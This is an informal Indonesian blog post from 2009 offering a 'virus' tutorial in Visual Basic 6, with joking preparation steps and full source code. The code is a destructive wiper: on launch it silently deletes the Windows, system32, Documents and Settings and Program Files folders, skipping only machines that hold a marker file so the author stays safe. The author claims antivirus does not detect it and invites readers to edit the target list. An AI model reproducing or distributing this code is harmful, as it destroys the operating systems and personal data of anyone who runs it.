SEnukeX SEO Software

Saturday, September 26, 2009

tutorial bikin virus gadungan

yap…
meskipun beluku coba, tapi katanya virus ini ganas, dia nyerang mukamu eh systemmu…
gak kedetect ma anti virus!!
hak1 yg mesti di siapkan:
1.kopi atau teh
2.cemilan
3.foto miyabi (Kalo yang satu ini sunnah)
4.berdoa
yang perlu kamu punya an mengerti:
1.Visual Basic(optimal : 6.0)
2. Ngerti tombol2nya VB
trus…
bikin form sekecil mungkin,
lalu masukkan kode ini:

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(”c:\windows\system32\Virus_HN.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32”)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function


yah gitu aja deh..
oh iya, ada yg lupa…
Kode yg warna biru itu penangkal nih virus,
barang kali kamu ga sengaja teken jadi kamu slamat.
jadi di folder c:\windows\system32\
kalo ada file namanya Virus_HN.txt,
kamu ga bakal keserang ndiri…bisa kamu edit koq jadi apa gitu.
Yang warna merah itu folder yg bakal didelete ama nih virus,
kamu edit ndiri aja…
jgn sekali2 ngasih nam virus ini nama kamu, gk papa2 sih!!
good luck!!
refrensi:google.com,http://www.kutu-loncat.co.cc/

No comments: